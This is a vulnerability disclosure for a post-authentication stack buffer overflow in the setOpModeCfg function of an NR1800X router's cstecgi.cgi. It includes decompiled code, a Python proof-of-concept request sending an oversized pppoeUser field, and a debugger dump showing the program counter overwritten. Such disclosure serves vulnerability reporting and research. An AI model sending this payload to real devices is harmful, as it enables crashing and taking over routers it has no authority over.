

# NR1800X - bof - setOpModeCfg

Hi, we found a post-authentication stack buffer overflow at NR1800X (Firmware version V9.1.0u.6279\_B20210910), and contact you at the first time.

In function `setOpModeCfg` of the file `/cgi-bin/cstecgi.cgi`, the size of `pppoeUser` is not checked, and directly copy to stack via `sprintf`

```
224 v13 = websGetVar(a1, "pppoeUser", "");
225 nvram_set("wan_pppoe_username", v13);
226 v14 = websGetVar(a1, "pppoePass", "");
227 nvram_set("wan_pppoe_passwd", v14);
228 v15 = websGetVar(a1, "pppoeMtu", "1492");
229 nvram_set("wan_pppoe_mtu", v15);
230 v16 = websGetVar(a1, "pppoeServiceName", "");
231 nvram_set("wan_pppoe_service", v16);
232 v17 = websGetVar(a1, "pppoeAcName", "");
233 nvram_set("wan_pppoe_ac", v17);
234 v18 = atoi(v12);
235 if ( v18 )
236 {
237     switch ( v18 )
238     {
239         case 1:
240             sprintf(v66, "\\n\\r%s", v13);
241             nvram_set("wan_pppoe_username_mm", v66);
242             break;
243         case 2:
244             sprintf(v66, "^%s", v13);
245             nvram_set("wan_pppoe_username_mm", v66);
246             break;
247         case 3:
```

PoC

```
import requests url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi" cookie =
{"Cookie":"uid=1234"} data = {'topicurl' : "setOpModeCfg", "proto" : "3",
"switchOpMode" : "1", "pppoeSpecType" : "2", "pppoeUser" : "a"*0x1000}
response = requests.post(url, cookies=cookie, json=data) print(response.text)
print(response)
```

```

T1  0x0
T2  0x1
T3  0x77b6acab ← 0x706d7400
T4  0x80000000
T5  0x800
T6  0x81000000
T7  0x8
T8  0x8
T9  0x77b67058 ← lui    $gp, 2
S0  0x61616161 ('aaaa')
S1  0x61616161 ('aaaa')
S2  0x61616161 ('aaaa')
S3  0x61616161 ('aaaa')
S4  0x61616161 ('aaaa')
S5  0x61616161 ('aaaa')
S6  0x61616161 ('aaaa')
S7  0x61616161 ('aaaa')
S8  0x61616161 ('aaaa')
FP  0x7f8785b0 ← 0x61616161 ('aaaa')
SP  0x7f8785b0 ← 0x61616161 ('aaaa')
PC  0x61616161 ('aaaa')

```

Invalid address 0x61616161

```

00:0000| fp sp 0x7f8785b0 ← 0x61616161 ('aaaa')
... ↓

```

► f 0 61616161

Program received signal SIGSEGV (fault address 0x61616160)  
 pwndbg>

The PC register can be hijacked, which means it can result in RCE.

